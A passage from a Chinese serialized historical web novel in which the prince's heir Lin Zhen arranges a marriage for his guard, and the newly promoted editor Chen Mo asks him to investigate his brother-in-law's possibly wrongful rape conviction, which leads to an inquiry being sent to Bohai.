“是,父亲。”郭然轻声应着,又对林臻福了福身,这才与一旁的郭夫人一同转身,莲步轻移地往厨房走去。 她的裙摆随着步伐轻轻摆动,宛如一朵缓缓绽放的白莲。 看着她们的背影消失在屏风后,郭鑫才转身回到主位,亲自拿起茶壶为林臻续上热茶,动作略显生疏,却透着十足的恭敬:“世子今日莅临寒舍,不知有何见教?” 他搓了搓手,眼中带着期待与不安,不知林臻此来的目的。? 林臻放下茶盏,身体微微前倾,语气带着几分随意却又透着认真:“实不相瞒,某今日前来,是为了给令爱说媒的。” 他决定开门见山,省去不必要的客套。? “哦?”郭鑫手中的茶壶微微一顿,几滴茶水溅在壶嘴边缘,他连忙稳住心神,眼中闪过一丝惊讶,随即是掩饰不住的欣喜。 “竟劳动世子亲自为小女说媒?”他激动得有些语无伦次,“那对方必定是人中龙凤,不知是哪家的公子?” 在他看来,能让世子亲自提亲的,必定是高门显贵之后。? 林臻却摇了摇头,语气平静地说道:“并非什么高门公子,而是某身边的护卫,名叫侯春。” 他观察着郭鑫的反应,准备应对可能出现的质疑。? “护卫?”郭鑫脸上的笑容瞬间僵住,握着茶壶的手指关节微微发白,显然有些意外,甚至流露出一丝犹豫。 他放下茶壶,身体微微后倾,眼中闪过一丝复杂的情绪。 毕竟在他看来,自家女儿虽非大富大贵,却也是书香门第出身,许配给一个护卫,似乎有些屈就了。 他张了张嘴,却不知该如何回应,气氛一时有些尴尬。? 林臻将郭鑫的神色尽收眼底,却并不在意,继续说道:“我知道郭兄在想什么,但是你莫要小看了侯春。这小伙子家世清白,父母皆是本分的庄户人家,只可惜后因病去世,只剩下一个妹妹,是勋国公芦步亭的儿媳,当然,虽然他早已经不是国公了,但芦德豪与我的关系你不会不知道。而侯春更是自幼在军营,后期跟在某身边,忠心耿耿,从未出过任何差错。” 他想先从人品上打消郭鑫的顾虑。? 毕竟勋国公家都娶他妹妹了,你一个主簿还装什么大尾巴狼。 郭鑫沉吟片刻,手指无意识地摩挲着衣袖,斟酌着开口:“既然是世子身边的人,品行自然是信得过的。只是……” 他犹豫了一下,还是说出了心中的担忧,“他毕竟是护卫身份,与小女的家世似乎有些不般配。” 他说得很委婉,但意思很明确,就是觉得侯春身份低微。? “郭兄这话说得就不对了。侯春并非普通护卫。他曾跟随某上过战场,在代县以及清河守城战中奋勇杀敌。” 他刻意加重了语气,“当时清河守城战打的非常惨烈,我中一箭,他中三刀,硬是没有让一个敌人登上城楼,立下了赫赫战功,如今已被封为金吾卫七品裨将。” 他顿了顿,目光直视郭鑫:“论品级,并不比郭兄低。”? 郭鑫闻言,脸上露出尴尬的神色,搓了搓手道:“下官并非嫌弃侯将军的品级,只是……只是下官原本想着,给然然寻一个性情温和、能安稳度日的夫婿,从未想过要找一位武将。” 他担心武将常年在外征战,女儿会受委屈,也怕战事凶险,有性命之忧。? 林臻眉头微不可察地一蹙,觉得郭鑫的话多少有些不给自己面子。 但转念一想,为人父母为女儿考虑周全也是常情,便耐着性子解释道:“郭兄此言差矣。” 他站起身,走到窗边,望着院中盛开的蔷薇,“如今大乾正值扩张之际,边境战事频发,武官的地位日益重要,远比文官更有前途。侯春这孩子踏实肯干,又有战功在身,只要有我在,他日后的前程不可限量,绝非止步于七品裨将。” 他拍了拍郭鑫的肩膀,“让然然嫁给他,难道不比嫁给那些酸腐书生更好?”? “话虽如此,但...” 就在这时,厨房的门帘一挑,郭然端着一盘刚切好的酱牛肉走了出来,恰好听到了厅中的对话。 她将盘子放在桌上,抬起头,目光清澈地看向郭鑫,语气坚定地说道:“爹,女儿愿意嫁给侯公子。” 她的声音不大,却清晰地传入每个人的耳中,带着不容置疑的决心。? 此言一出,厅中顿时安静下来。 郭鑫惊讶地看着女儿,嘴巴微张,似乎没想到她会如此直接地表态。 林臻则露出了满意的笑容,看向郭然的目光中多了几分赞赏,暗道:果然是个有主见的姑娘。? 可是没想到郭鑫居然恼怒起来:“放肆!儿女婚嫁之事岂有你表态的道理?更何况世子在此,哪有你说话的地方,平日里玩教导你的礼义廉耻,你都忘了吗?” 郭然迎着父亲的目光,脸颊微微泛红,但眼神却异常坚定:“女儿曾在绸缎庄见过侯公子,他为人正直,待人谦和,并非粗野武夫。” 她顿了顿,仿佛鼓足了勇气:“而且。” 她的声音柔和下来,“女儿觉得,能在沙场上保家卫国的英雄,远比只会舞文弄墨的书生更令人敬佩。” 郭鑫看着女儿眼中闪烁的光芒,那是他从未见过的神采,又看了看一旁面带微笑的林臻。 心说家门不幸啊。 唉。 林臻说道:“老郭啊,你也该为孩子的幸福考虑了。你颇有文采,却多年止步于主簿之位,就是因为你缺乏足够的正确判断,你试想,假若然然嫁给侯春,会怎么样呢?” 郭鑫不解的看着他。 被睡呗,还能怎么样。 林臻说:“你的地位会水涨船高,因为侯春是我的好兄弟,我对他好自然就会对然然好。而然然成为王府近亲,对外更是风光无限。你即将退休,以后的退休生活是好还是穷酸,其实都在你的一念之间。你不要一味的行驶你当父亲的权力,这是要影响然然和你们全家幸福的,做人,终究不能太自私。” 郭鑫看着自己女儿,一时间心里五味杂陈。 他是想着给女儿找个门当户对的就好,却没想到,从天而降这么个噩耗。 他很难接受自己的闺女嫁给一个看似有前途,实则还没有很高职位的护卫。 但是林臻的话不无道理,侯春,确实远比看上去有前途多了。 自古以来,不管是官员的护卫还是小厮,但凡有在编制的,官员都会给安排好。 这是情分。 就像领导的司机和秘书一样,哪有职务低的?出门说话办事表带的都是领导,谁又不高看一眼呢? 我们老说,皇帝身边的太监比巡抚大。 为什么比巡抚大?还不是因为他跟着皇帝。 侯春,如果不是林臻,他可能永远都是个普通士兵,但是他现在跟着林臻,相当于保镖加司机,而且又是体制内,这样的人,以后品级怎么可能会低呢。 郭鑫好似一瞬间就相同了,心中的犹豫渐渐消散。 除了综上所述,他知道女儿性情沉静,但若认定了某事,便不会轻易改变。 更何况,对方是世子亲自举荐,又有如此战功,确实是个不错的人选,总比那些什么商贾子弟、小吏门户要强很多。 他叹了口气,脸上重新露出笑容,转向林臻拱手道:“既然然然自己愿意,那就有劳世子做主了。侯将军年轻有为,又是世子身边的亲信,小女能嫁给他,是她的福气。”? 林臻见状,心中一块大石落地,哈哈一笑:“郭兄能想得开就好。侯春那小子能娶到然然这样的好姑娘,也是他的造化。” 他站起身,整理了一下衣襟,“既然如此,这门亲事就算定下了。你放心,侯春的聘礼由王府来出,最后再找个合适的日子让侯春来提亲。” 郭鑫连忙躬身相送:“世子言重了,是下官高攀了。” 此间事了,林臻准备回去。 国琴一路将林臻送到门口,又与他寒暄了几句,这才离开了郭府。? 坐上马车,林臻看着窗外掠过的街景,嘴角一直挂着淡淡的笑意。 他知道,这桩婚事不仅了却了侯春的心愿,也让自己在郭鑫这位素有清誉的官员心中留下了善缘,可谓一举两得。 只是,当他想起府中来福的异常,以及慕容嫣送来的那些骆驼,笑容又渐渐淡了下去。 他靠在车壁上,闭目沉思。 看来,这平静的日子怕是不会太久了。 慕容嫣此举,显然是在试探自己的底线,来福的事情绝非偶然,必须尽快查清背后的真相,否则后患无穷。 第537章 大鹏不可能干那事儿 暮春的阳光穿过京城蛛网般的胡同,照在陈墨家那扇斑驳的朱漆门上。 门楣低矮,没有任何官宦人家的气派,唯有门墩上磨平的纹路透着岁月痕迹。 陈墨下了马车,挥退车夫,抬头看了眼屋檐下新筑的燕巢,嘴角不自觉地扬起。 今日在王府与林臻的会面虽暗藏机锋,却也算得了个好结果。? 推门而入,院内青砖铺地,角落里种着几株月季,正是老妻王氏最爱的品种。 正房堂屋的门帘一掀,儿媳小芳系着围裙探出头,见是他,连忙笑道:“爹回来了?娘在厨房盯着最后一道菜呢,马上就开饭。” 她侧身让他进来,顺手接过他的官帽,指尖触到帽檐上的尘土。 “路上风尘大,妾身去打盆水来给您洗洗。”? “小芳,你歇歇,让你婆婆来吧。”陈墨摆摆手,对这个善良、踏实肯干的儿媳妇他很喜欢。 目光扫过堂屋。 屋内陈设简单,一张八仙桌配着四把榆木椅,墙上挂着他中举时友人送的铁笔昭昭匾额,边角已有些褪色。 左手隔间传来孩童的嬉闹声,是孙子陈小宝和孙女陈丫丫在玩抓石子。? “爷爷!”小宝听见动静,趿拉着鞋跑出来,脑后的小揪揪一晃一晃的,“娘说今天有炖肉吃呢!” 陈墨弯腰摸了摸他的头,掌心传来孩童特有的温热。 丫丫跟在后面,怯生生地拽着哥哥的衣角,大眼睛好奇地打量着他腰间新换的鎏金腰牌。? “饿了吧?很快我们就开饭!今天务必要好好吃一顿,不许剩菜!” “好!” 陈墨笑着捏了捏小宝的脸蛋,转身走向内室。 其实家里并不缺钱,但陈墨一直秉持着粗茶淡饭的生活习惯。 老妻王氏正站在灶台前,用锅铲翻动着砂锅里的炖肉,油烟缭绕中,她鬓角的白发格外显眼。 听见脚步声,她头也不回地说:“回来了?快去洗手,小芳把你常穿的那件青布长衫浆洗好了,搭在院子里晾着。”? 饭桌上摆着四菜一汤:炖肉、素炒青菜、酱肘子和一碟凉拌黄瓜,中间是碗蛋花汤。 小芳给陈墨盛了碗米饭,又给王氏和自己各分了些。 陈墨拿起筷子,夹了块肥瘦相间的炖肉放进嘴里,油脂的香气在舌尖化开,让他想起年轻时在翰林院熬夜写稿,老妻总会留这样一碗肉等他。? “看你今天这模样,怕是有什么喜事?”王氏放下筷子,用围裙擦了擦手,目光落在他脸上。 陈墨今日确实难掩喜色,嘴角一直挂着笑,连眼角的皱纹都舒展了些。? “还是你娘懂我。”陈墨放下筷子,喝了口汤,“告诉你吧,报社如今归陛下直管了。” 他故意顿了顿,看着老妻和小芳惊讶的表情:“陛下抬举,给了个工部员外郎的衔,从五品,俸禄翻了一番!” 小芳手里的筷子轻轻一颤,随即喜道:“真的?那可太好了!爹以后就是大官了!” 王氏也满脸惊喜,却又有些不安:“好好的报社怎么就归陛下了?没什么麻烦吧?” 她知道丈夫性子耿直,怕他卷入朝堂纷争。? 更何况报社一直是世子在管,怎么可能突然就给陛下了呢。 “能有什么麻烦?”陈墨夹了口青菜,“陛下圣明,知道报社的记者们辛苦,以后都给编了工部的名额,吃皇粮,战死了还有抚恤。” 他想起林臻拍案时的模样,心中暗笑,“以后啊,找我送礼的记者怕是要踏破门槛了。”? 王氏闻言,脸上的笑容淡了些,她一辈子谨小慎微,最怕丈夫行差踏错。? 犹豫着开口:“送礼?这...会不会不好?刚升官就收礼,要是被上头知道,弄不好参你一本。” “你懂什么!”陈墨放下筷子,语气带着几分得意,“这叫人情往来。我给他们争取到了编制,他们谢我是应该的。再说,以后咱家的日子也能宽裕些,小宝该启蒙了,丫丫也该添置新衣裳了。” 王氏看着他意气风发的样子,终究没再说什么,只是低声道:“钱够花就行,咱不贪那些。” 她顿了顿,像是下定了决心,手指无意识地绞着围裙边角,指节因用力而泛白,“对了,你升职了,大鹏那边的事...是不是能想想办法?” 陈墨脸上的笑容瞬间僵住,眉头皱了起来,筷子重重地拍在桌上,发出"啪"的一声脆响。 “又是大鹏!”他放下筷子,声音沉了下去,带着明显的不耐烦,“我说过多少次了,他自己惹的祸,谁也救不了!” 大鹏是王氏的弟弟,陈墨的小舅子,半个月前因强奸罪被打入大牢,县令已经定了罪,只等秋决。 王氏这些日子以泪洗面,整日在陈墨耳边念叨,求他动用关系疏通。? “他没有强奸!”王氏急了,声音也拔高了些,眼眶瞬间泛红,“那女子分明是自愿的,是她家人嫌贫爱富,看大鹏没钱没势,就反咬一口!前几天还说让大鹏准备六千两银子,否则就告到底。” 她越说越激动,放下筷子,身体前倾,仿佛想透过眼神让陈墨相信。? “是不是自愿,县令大人已经判了,文案上写得清清楚楚,就是强奸!”陈墨不耐烦地打断她,语气强硬,“人证物证俱在,你让我怎么救?我刚升了官,正是风口浪尖的时候,怎么可能去刑部捞人?你以为世子会同意?” 他想起林臻今日虽表面平静,但眼神中那股不容置疑的威严,心中更是烦躁。? “世子不同意,陛下还不同意吗?”王氏的声音带着哭腔,眼泪终于忍不住滚落下来,“你刚给陛下办了这么大的事,是陛下跟前的红人,求她开恩,她能不答应?不过是一句话的事!” 她伸出手,想去拉陈墨的衣袖,却被他不着痕迹地避开。? “胡闹!”陈墨猛地一拍桌子,碗碟都震了一下,汤汁溅出少许,“哪有刚升官就跟陛下要好处的?你当陛下是你家儿媳妇啊?再说,大鹏的案子证据确凿,县令判得没错,这是王法!王法懂不懂?我要是去求情,那就是干预司法,是知法犯法!” 他站起身,背对着王氏,胸口因激动而微微起伏。? “他是我亲弟弟啊!”王氏也站了起来,泪水模糊了视线,“从小一起长大,我看着他长大的,他是什么样的人我清楚!他就是一时糊涂,跟那女子多说了几句话,最多也就是动动手,怎么就成了强奸?陈墨,你不能这么狠心啊!”她的声音带着绝望,身体微微颤抖。? “我不是狠心,是王法无情!”陈墨猛地转过身,眼中带着怒火,“你以为官场是过家家?我要是因为私亲就去干预案子,不仅救不了大鹏,连我这乌纱帽都保不住!到时候咱们一家老小可怎么办?小宝和丫丫谁来养?” 他指着里屋,声音因激动而有些沙哑。? “那可是一条人命啊!”王氏哭喊道,“秋决一到,大鹏就没了!我就这么一个弟弟,他若是真强奸倒也罢了,这是冤案啊!你让我怎么跟死去的爹娘交代?” 她跌坐在椅子上,双手捂着脸,失声痛哭。? “交代?我要是因为这事丢了官,才是对不起列祖列宗!”陈墨喘着粗气,努力平复情绪,“这事没得商量,你以后不要再提了!” 他转身想走,却被王氏拉住了衣角。? “陈墨!”王氏抬起泪眼,眼神中充满了失望和怨怼,“我嫁给你这么多年,吃了多少苦,从没求过你什么。现在我唯一的弟弟要没命了,你就不能看在我的面上,想想办法吗?哪怕去求求世子,求求陛下,哪怕只有万分之一的希望...” “够了!”陈墨甩开她的手,语气冰冷,“我说了不行!你再闹,就别怪我不客气了!” 他的声音里带着疲惫和决绝,显然不想再纠缠这个话题。? “不客气?你想怎么样?”王氏也来了脾气,擦干眼泪,眼神锐利地看着他,“你是不是觉得自己现在升官了,就看不起我们娘家人了?就忘了当初我爹是怎么帮你的了?” 这句话像一根刺,扎进了陈墨的心里。 他想起当年自己穷困潦倒,是老丈人接济,才得以专心读书中举。 他深吸一口气,压下心中的愧疚,沉声道:“我没忘。但这是两码事。犯法就得受罚,谁也不能例外。” “在你眼里,王法比亲情还重要?”王氏冷笑一声,眼中满是嘲讽,“好,陈墨,你铁石心肠,我算是看透你了!” 她站起身,不再看他,转身走进里屋,砰的一声关上了门。? 陈墨站在原地,看着紧闭的房门,胸口堵得慌。 他知道老妻心里难受,但他也有自己的难处。 官场如战场,一步踏错就是万劫不复。 他叹了口气,疲惫地坐在椅子上,刚才的喜悦早已消失殆尽,只剩下无尽的烦躁和无奈。? 小芳一直低着头吃饭,不敢出声,此刻见两人吵完,才小心翼翼地开口:“爹,娘她...也是着急。” 陈墨摆摆手,不想说话。他拿起筷子,却觉得嘴里苦涩,再也尝不出炖肉的香味。? 就在两人争执不下时,院门外传来敲门声,接着是小厮的声音:“老爷,外面有人找您,说是...说是张老板派来的。”? 陈墨皱了皱眉。 张老板? 他一时没反应过来。 王氏也停止了哭泣,疑惑地看着门口。? “哪个张老板?” “就是世子的夫人,张俪。” “快快有请!”陈墨整理了一下衣襟,走到堂屋坐下。 他需要一个借口,来结束这场令人窒息的争吵。? 门帘掀开,走进来一个穿着青色短打、腰扎皮带的精瘦汉子,脸上带着谄媚的笑容,一进门就拱手道:“请问大人可是陈主编吗?”? “是是是,在下陈墨。”陈墨打量着他,“阁下是?”? “小的阿文,是张俪夫人派来的。” “那不知兄弟有何贵干呢?” 阿文搓着手:“是这样,我们老板在西市新开了家锦绣阁的成衣铺,想在您的报纸上打个广告,让小的来问问价钱。”? 不看僧面看佛面,世子的老婆当然不能耽漫了。 陈墨点点头:“打广告自然可以,不过报社现在归陛下管了,定价得按新规矩来。”? “我们老板说了,价钱好商量。”阿文从怀里掏出一个沉甸甸的荷包,放在桌上,“这是定金,事成之后还有重谢。” 陈墨看着桌上的荷包,又看了看阿文谄媚的笑脸,心中忽然明白了什么。 张俪此时来打广告,恐怕不只是为了生意,更是想看看他这个新官的态度。 他拿起荷包,掂量了一下,里面沉甸甸的,想必是不少银子。 他想起刚才和老妻的争吵,想起家里拮据的日子,心中一叹,笑道:“既然是张夫人的生意,自然要好好安排。你回去告诉她,广告的事包在我身上,保证做得漂漂亮亮的。”? 阿文见他收下荷包,脸上的笑容更灿烂了:“那多谢陈大人了!我们老板说了,以后还要多仰仗您呢!” 他又说了几句客套话,这才转身离开。? 阿文走后,堂屋里一片寂静。 王氏从里屋走出来,脸上还带着泪痕,看着桌上的荷包,又看看陈墨,张了张嘴,最终还是没说什么。 她知道,丈夫已经做出了选择,在亲情和前途之间,他选择了后者。? 可谁知道陈墨将荷包收进袖中,重新坐下吃饭,却觉得嘴里的炖肉再也没有刚才的香味了。 他知道,从收下这个荷包开始,他就再也不是那个只知道舞文弄墨的报社主编了。官场的浑水,他已经踏了进去,而老妻的眼泪,像一根针,时不时地刺着他的良心。? 吃过饭,陈墨擦了擦嘴,说:“大鹏的事情我去求世子,但能不能办,就看世子的说法了,不过我建议你别抱太大希望,毕竟世子也是嫉恶如仇的人。” 第538章 求世子帮忙 暮春的月光透过窗棂,在陈墨家的青砖地上投下斑驳的影。 陈墨躺在床上,辗转反侧,身旁的老妻王氏早已发出均匀的呼吸声,脸上还带着泪痕。 他却睁着眼,望着天花板上晃动的树影,心里像揣了十五个吊桶,七上八下的。? 其实他因为什么睡不着呢? 因为他刚答应老妻去求林臻的那一刻,他就后悔了。 大鹏是老妻唯一的弟弟,自小跟着老丈人走街串巷卖针头线脑,性子憨厚老实,见了姑娘都脸红,怎么会做出强奸这种事? 可官府的文案上写得清楚:城南刘屠户之女刘翠莲状告大鹏强行无礼,人证物证俱在,而且连是不是处子之身都验了,县令当堂定罪,判了秋后问斩。? 这几乎就是个死局,而自己偏偏还要因此去求林臻。 也不知道林臻会不会答应,如果不答应,那岂不是这些天在他心里树立起来的好印象全白费了么。 “唉...家门不幸啊。”陈墨轻轻叹了口气,生怕吵醒身边的妻子。 他想起三天前老妻跪在他面前的情景:王氏头发散乱,额头磕在青砖上,声音嘶哑地哀求:“老爷,大鹏从小连鸡都不敢杀,怎么可能强奸民女?一定是刘屠户家讹人!他们家想把翠莲嫁给绸缎庄的少爷,嫌大鹏穷,才设了这个局啊!” 事实究竟怎么样,其实陈墨也没问过大鹏,他想避这个嫌。 官场如战场,能不引火烧身,就往后躲一躲。 可老妻的眼泪像针一样扎在他心上。二十年前他还是个穷书生,老丈人倾家荡产供他读书,如今老丈人不在了,他若连老妻唯一的弟弟都救不了,岂不是忘恩负义?? “唉。罢了罢了...”陈墨喃喃自语,“谁让你们是我的亲人呢,就当是还老丈人的情分吧。” 他决定了,不管结果如何,都要去试试。 就算救不了大鹏,也算是给老妻一个交代。? 第二天一早,天还没亮,陈墨就醒了。 老妻已经在厨房忙活了,桌上摆着热气腾腾的早饭:一碗阳春面,两个荷包蛋,一碟酱菜,还有一笼包子。 这在平时,算是很丰盛的了。? “起来了?快趁热吃。”不管如何,王氏依旧对他热情。 见他出来,连忙擦了擦手,给他盛了碗面。 她眼下有淡淡的青黑,显然也没睡好。? 陈墨坐下,拿起筷子,却有些难以下咽。“今天...可能会有人来。” 他犹豫了一下,还是开口了,“不管是谁,你都不要接见,一切等我回来再说,尤其不能收他们的礼物。” 他担心张俪或者其他想送礼的人找上门,老妻应付不来,再惹出什么麻烦。? 王氏点点头,想说什么,又把话咽了回去,只是默默地给他夹了个荷包蛋。? 陈墨见状,心里更不是滋味了,即便丰盛的早餐也味如嚼蜡。 他放下筷子,说:“大鹏的事儿你放心。我既然答应你,就会去办的。”他顿了顿,还是忍不住加了一句,“但你别抱太大希望,我只能尽力,能不能成,不好说。”? “我知道。”王氏抬起头,眼睛有些红,“只要你肯去求世子,不管结果如何,我都谢谢你。” “你我夫妻之间,说这些干什么。”陈墨摆摆手,心里却更加沉重。? 匆匆吃完早饭,陈墨换上官服,去了报社。 现在报社归了女帝,事情比以前更多了。 他需要把今天的工作提前处理好,才能安心去王府。? 在报社忙到巳时,把该审的稿子审完,该安排的事情安排好,陈墨才叫了辆马车,直奔摄政王府。? 王府门前,守卫森严。 陈墨递上名帖,说明来意,守卫进去通报,不一会儿回来告诉。 “陈大人,世子爷不在府中,出去了。”? “去哪儿了?”陈墨问。? “好像是去了咱家新开的青楼,您也知道世子的脾气,但凡有新产业开门,他总得去看看,心里踏实。”守卫有些犹豫地说。? 陈墨心里咯噔一下。 青楼?新开的? 难道是张俪新开的那家号称京城第一楼的楼外楼? 好家伙,陈墨对此早有耳闻,据说那里面光是一壶茶水就要十两银子。 他叹了口气,看来今天要等了。 “小哥,不知道我可否进去等世子?” 守卫有些为难,但看在他是工部员外郎,昨天又刚来过,于是便放他进去了。? 陈墨在会客厅坐下,丫鬟奉上茶点,他却没什么心思吃。 从中午等到下午,又从下午等到傍晚,太阳都快落山了,林臻还没回来。 他心里越来越着急,不停地看窗外,希望能看到林臻的身影。? 直到天完全黑了,门口传来一阵喧闹声,陈墨连忙站起来。 只见林臻带着一个人走了进来,正是棋牌佛。 林臻看起来有些疲惫,见到陈墨,愣了一下:“老陈?你怎么在这儿?等很久了?”? “见过世子。”陈墨连忙作揖。? 林臻摆摆手,示意他坐下,然后对棋牌佛说道:“老棋,你先去后面歇着,等会儿我过来。” “是,世子。” 棋牌佛目光诡异的看了看陈墨,自己去往后堂。 林臻说:“坐吧。有什么急事,等了一下午?” 他示意来先下去,自己则坐在主位上,接过浣碧递来的湿巾擦了擦手。? 陈墨定了定神,知道现在不是犹豫的时候,于是把大鹏的事情一五一十地说了出来,从大鹏如何被指控,到县令如何定案,再到老妻如何哀求,自己如何答应,最后强调。 “世子,不瞒您说,内子一直坚信她弟弟是被冤枉的,求我无论如何都要试试。我知道这事儿难办,也知道可能触犯王法,但...唉,家家有本难念的经啊。”? 林臻静静地听着,脸上没什么表情,只是偶尔端起茶盏喝一口。 等陈墨说完,他沉默了一会儿,才缓缓开口:“你说大鹏是被冤枉的?”? “内子是这么说的,具体情况我也不清楚,主要因为下官只是暂代工部员外郎,根本没权力过问刑部的事情。”陈墨老实回答,“但大鹏那孩子我知道,从小老实巴交,见了姑娘都不敢抬头,怎么可能做出强奸的事? 林臻放下茶盏,眼神锐利地看着陈墨:“老陈,你刚升了官,应该知道官场的规矩。干预司法,是什么罪名?”? 陈墨心里一紧,连忙站起来:“世子教训的是,在下明白。只是...只是内子实在可怜,在下也是没办法。”? 林臻看着他,忽然坐直了身体,语气严肃起来:“你说刘屠户状告大鹏强奸,有什么证据?” “据内子说,只有刘翠莲的口供,还有...还有一件撕破的衣服。”陈墨回忆着老妻的话,“但大鹏说,那天他是去还刘翠莲借给他的针线包,根本没碰过她。刘屠户家非说他意图不轨,还找了几个地痞做证人。” “地痞做证人?”林臻眉头一皱,“县令就信了?”? “是啊。”陈墨叹了口气,“听说刘屠户给县令送了两头大肥猪,还有好多银子。”? 林臻的脸色沉了下来,手指轻轻敲击着桌面,发出"笃笃"的声音。 末了,他说道:“老陈,你虽然不是刑部的人,但你也应该知道污蔑是什么罪名。你说当地县令收了屠户的银子,可有证据?再者,大鹏难道就不知道说出你在京为官的事情?他说出来,当地县令还敢收?如果出了什么差错导致误会,你知道会酿成什么后果吗?” 他想起自己在机关时,最恨的就是这种草菅人命的贪官污吏。 一个老实巴交的百姓,就因为没钱没势,就要被冤枉致死,这还有王法吗?? “我...唉,下官听世子的。”陈墨也知道今天提出来的事情不合规矩,于是羞愧低下头。 “那刘翠莲呢?她为什么要诬陷大鹏?”林臻追问。? “内子说,刘翠莲早就和绸缎庄的少爷好上了,刘屠户想攀高枝,嫌大鹏穷,就设计了这出戏,既能把大鹏除掉,又能让女儿风风光光地嫁入绸缎庄。”陈墨越说越激动,“世子,这分明就是一桩冤案啊!” 林臻把茶盏放在桌子上:“是不是冤案你说了不算,这样吧,既然你是我的人,而且又是第一次跟我张这个口,你这件事情,我会派人去调查,如果你说的情况属实,那自然还你弟弟一个公道。如果你只是想给你弟弟开脱罪名,后果你也要自己承担。至少,你这乌纱帽肯定是保不住了,现在你跟我表个态,到底要不要查?” 陈墨咬咬牙:“查!我相信我妻子,他不会对我胡说八道的!” “好,这事儿我帮你了。”林臻站起身,在会客厅里来回踱步。 从陈墨说的话来看,他与妻子感情很好,而且是几十年相互帮扶的真挚感情,他妻子不会骗他,但大鹏会不会骗他妻子,可就不一定了。 所以说,这事儿得低调点办,如果能不声不响的办了最好,但如果大鹏真的涉嫌强奸,林臻也不会保他。 “行了,时候不早了,你也回去吧。”林臻摆摆手,“记住,这件事不要声张,我会派人去查。” “多谢世子!!”陈墨不敢多留,连忙告辞离开。 走出王府,他长长地舒了一口气,感觉肩上的担子轻了不少。 不管结果如何,他总算迈出了这一步。 至于能不能救得了大鹏,那就看林臻的了。? 回到家,老妻还没睡,一直在等他。 看到他回来,连忙问:“怎么样了?世子怎么说?”? “世子答应去查了。” 陈墨把事情的经过说了一遍,特别强调了林臻的愤怒和决心。 老妻听了,眼泪又流了下来:“谢谢你,老头子。”? “谢什么,快去睡吧。”陈墨摆摆手,心里却依然忐忑。 他不知道林臻会怎么查,也不知道能不能查出真相。 但他知道,林臻既然答应了,就一定有办法。? 这一夜,陈墨依然没有睡好。 他不知道等待自己的会是什么样的结果。 ...... 林臻送走陈墨后,在会客厅内踱步片刻,眸中怒意未消。 他想起陈墨描述中大鹏的憨厚模样,又念及地方官竟敢如此草菅人命,不禁握拳砸向案几,震得茶盏中的残茶四溅。 “来人!”他沉声喝道,声线里带着不容置疑的威严。? 片刻后,身着玄色劲装的王春生疾步走入,单膝跪地:“世子有何吩咐?” 王春生是林臻麾下的得力干将,曾在西北战场屡立奇功,为人刚正不阿,是查案的合适人选。? 林臻走到书架前,取下一枚刻有“摄政王府”字样的鎏金令牌,入手沉甸甸的:“你立刻拿着这面令牌,去御史台调派三名御史,再到王府亲卫营点五十轻骑,随你一同前往渤海郡。” 他将令牌递给王春生,指尖因用力而微微泛白。? 王春生接过令牌,感受到令牌上的凉意,抬眸看向林臻:“世子是要属下调查何事?”? “渤海郡有一宗强奸案,涉案人名为大鹏,”林臻语气凝重,“据报此人可能被冤枉,而当地县令涉嫌贪赃枉法,草菅人命。你此去一来要查清强奸案的真相,给受害者与被冤者一个公道;二来要暗中调查渤海县令是否有贪污受贿、滥用职权的情事。”? 他走到舆图前,指着渤海郡的位置继续道:“记住,此行代表王府,不可有任何贪赃枉法之举,务必公正严明。查明真相后,先保下大鹏的性命,控制相关人等,切勿轻举妄动,一切等我后续通知。”? 王春生神色肃穆,再次叩首:“属下明白!定不负世子所托,定会查清真相,绝不让冤屈发生,也绝不姑息贪官污吏。”? “很好,”林臻点点头,目光锐利如鹰,“事不宜迟,你明日一早便出发,路上多加小心,遇事可凭此令牌调动地方驻军协助。”? “是!”王春生应下,小心翼翼地将令牌收好,起身准备离开。? “等等,”林臻忽然叫住他,“此案可能牵扯甚广,你需谨慎行事,保护好自己和随行人员。”? “属下谨记世子教诲。”王春生再次行礼,这才转身离去。 第539章 蓬莱县 林臻之所以派王春生去,是因为这小子很机灵,办事也张弛有度,不会做什么出格的事情。 聪明的人自然爬的飞快,本来他是曹雄的警卫员,现在摇身一变几乎要成曹雄的领导了。 不过对此曹雄非但不生气反而很高兴。 他觉得王春生是他培养出来的。 尘土飞扬的官道上,五十骑轻甲骑兵如黑色闪电般劈开晨雾。 王春生勒住缰绳,胯下的乌云踏雪马不安地刨着蹄子,马鞍旁悬挂的摄政王府令牌在阳光下折射出冷冽的光。 他回望身后,御史台监察院掌使陈廉正用手帕擦拭额头的汗珠,三名御史官紧随其后,脸色凝重。? “都打起精神!”王春生沉声喝道,声音被风吹得断断续续,“还有十里就是渤海郡城,此番奉世子之命查案,谁敢懈怠,军法处置!” 他的目光扫过队列,见几名年轻士兵因长途奔袭而面露疲惫,便扬声道:“想想世子的嘱托,想想那些含冤的百姓,这点路算什么!” 话音未落,前锋营的曹雄策马奔来,甲叶碰撞声清脆作响:“春生,前方就是城门,已见城防士兵戒备!” “多谢将军!我们走!”王春生点点头,伸手按了按腰间的佩剑,冰冷的触感让他愈发清醒。 他想起林臻临行前的叮嘱,此案不仅关乎一个叫大鹏的百姓,更可能牵扯地方吏治的黑幕,不由得握紧了拳头。? 渤海郡衙内,太守刘成业正翘着二郎腿喝茶。 休沐日的阳光透过雕花窗棂,洒在他圆滚滚的肚子上,紫檀木茶案上摆着刚送来的江南新茶。 “老爷,这明前龙井果然名不虚传!”管家谄媚地笑着,正要续水,忽听前院传来一阵杂乱的脚步声。? “大人!大人!”一名城防士兵连滚带爬地冲进暖阁,头盔歪在一边,脸上满是惊恐,“不好了!京里来了批骑兵,说是...说是摄政王府世子爷的人,要见大人!” 刘成业手里的茶盏哐当一声掉在地上,茶水溅湿了湖蓝色的长袍,滚烫的液体烫得他猛地一颤。 “什么?王府的人?”他肥胖的脸上瞬间血色尽失,小眼睛瞪得溜圆,手指因紧张而微微颤抖,“慌什么!可确定身份了?” “确定了!”士兵喘着粗气,几乎要哭出来,“他们拿着王府的鎏金令牌,还有几个穿官服的,腰牌上刻着御史台的字样!” 刘成业的心猛地一沉,仿佛坠入冰窖。 王府令牌代表着林臻的直接命令,御史台更是专查百官贪腐,这两拨人同时到来,绝非好事。 嘶...难不成我私自收了一斤龙井被人举报了? 不能啊...收茶叶是前几天都事儿,这也太快了吧? 他强作镇定地整了整衣冠,却连领口的纽扣都系错了位置,额头上渗出细密的汗珠:“知道了,去请他们到正厅,我...我马上就来。” 士兵退下后,他对着铜镜反复整理仪容,却始终无法掩饰眼底的慌乱。? 片刻后,王春生带着曹雄和陈廉步入郡衙正厅。 